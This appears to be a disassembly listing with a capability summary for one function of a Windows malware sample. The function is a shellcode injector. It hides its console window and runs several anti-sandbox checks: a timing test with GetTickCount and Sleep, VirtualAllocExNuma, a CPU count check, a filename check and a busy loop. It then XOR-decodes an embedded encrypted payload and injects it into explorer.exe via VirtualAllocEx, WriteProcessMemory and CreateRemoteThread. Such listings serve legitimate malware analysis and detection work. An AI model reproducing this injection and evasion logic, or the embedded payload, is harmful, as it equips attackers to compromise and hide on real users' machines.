Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create thread
Enumerate processes
Execute shellcode via indirect call
Get system information on windows
Hide graphical window
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x320
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x2b0], ecx
mov qword [rbp + 0x2b8], rdx
call fcn.140001b80
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov qword [rbp + 0x278], 0
mov ecx, 0x914837d
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
je 0x14000152e
mov rax, qword [rbp + 0x278]
mov r8d, 0x914837d
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x274], eax
mov ecx, 0x2ceb
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x270], eax
mov eax, dword [rbp + 0x270]
sub eax, dword [rbp + 0x274]
cmp eax, 0x2cea
jg 0x140001577
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x278]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rbp + 0x268], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
call rax
mov qword [rbp + 0x268], rax
cmp qword [rbp + 0x268], 0
je 0x140001611
lea rax, str.GgMRWTDWMHuQ
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x220]
mov dword [rbp + 0x264], eax
cmp dword [rbp + 0x264], 1
jg 0x140001625
jmp 0x14000161b
mov ecx, 0
call sub.msvcrt.dll_exit
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x2b8]
mov rax, qword [rax]
lea rdx, str.testing.exe.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140001681
mov dword [rbp + 0x260], 0
movabs rax, 0x384e58343
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x298], 0
mov qword [rbp + 0x290], 0
mov qword [rbp + 0x290], 0
jmp 0x14000169b
mov ecx, 0
call sub.msvcrt.dll_exit
add qword [rbp + 0x298], 1
add qword [rbp + 0x290], 1
mov rax, qword [rbp + 0x290]
cmp rax, qword [rbp + 0x258]
jl 0x14000168b
mov rax, qword [rbp + 0x298]
cmp rax, qword [rbp + 0x258]
je 0x1400016c5
mov ecx, 0
call sub.msvcrt.dll_exit
mov byte [rbp + 0x1ff], 0
movabs rax, 0x3b9106d914c848e9
movabs rdx, 0x7efb3b61ed9c4069
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x450bd7a2a080b6b2
movabs rdx, 0xcf6920d328db33c3
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x5c5644a28d3170b
movabs rdx, 0xea009329a91e048f
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x7ff0f57ce09f8471
movabs rdx, 0x9a4c44a7479c3fb2
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rdx
movabs rax, 0xe3d3c2b57de773ce
movabs rdx, 0x74662fb43532a463
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rdx
movabs rax, 0xc543d14e976f9e95
movabs rdx, 0x861b9a1b7917d4ad
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rdx
movabs rax, 0x6b56fb6bcb0226ea
movabs rdx, 0xd744e8391d3cdcf5
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], rdx
movabs rax, 0xe7d9b3189a29ead5
movabs rdx, 0x107e2d7d7585c98d
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], rdx
movabs rax, 0xb748dcdc73ad2085
movabs rdx, 0xc15bac102d6f297a
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rdx
movabs rax, 0xc82e7360b4ee20be
movabs rdx, 0xc73a9249c1d3007a
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], rdx
movabs rax, 0xb2e49e14e8e98838
movabs rdx, 0xb1509f7906022fb6
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], rdx
movabs rax, 0x8cdd07da6f9921a
movabs rdx, 0xc71abba06db36826
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], rdx
movabs rax, 0xf17ae72c9028779f
movabs rdx, 0xcd108e449b47bf6a
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rdx
movabs rax, 0xc73b548cbc026915
movabs rdx, 0x3090744e745a77d7
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rdx
movabs rax, 0xe2193b2fd73361a3
movabs rdx, 0xfe814abf860817eb
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rdx
movabs rax, 0xefd4fdc8fe814a
mov qword [rbp + 0x1ed], rax
mov dword [rbp + 0x28c], 0
mov dword [rbp + 0x288], 0
jmp 0x140001946
cmp dword [rbp + 0x28c], 0xf4
jne 0x140001907
mov dword [rbp + 0x28c], 0
mov eax, dword [rbp + 0x288]
cdqe
movzx edx, byte [rbp + rax + 0x1ff]
mov eax, dword [rbp + 0x28c]
cdqe
movzx eax, byte [rbp + rax + 0x100]
xor edx, eax
mov eax, dword [rbp + 0x288]
cdqe
mov byte [rbp + rax + 0xff], dl
add dword [rbp + 0x28c], 1
add dword [rbp + 0x288], 1
cmp dword [rbp + 0x288], 0
je 0x1400018f1
mov dword [rbp - 0x40], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x250], rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x250]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x140001aaa
jmp 0x140001a8e
lea rax, [rbp - 0x40]
add rax, 0x2c
lea rdx, str.explorer.exe
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
jne 0x140001a8e
mov eax, dword [rbp - 0x38]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x240], rax
lea rcx, [rbp + 0xff]
mov rdx, qword [rbp + 0x240]
mov rax, qword [rbp + 0x248]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x240]
mov rax, qword [rbp + 0x248]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x248]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x250]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
je 0x14000198d
mov rax, qword [rbp + 0x250]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x320
pop rbp
ret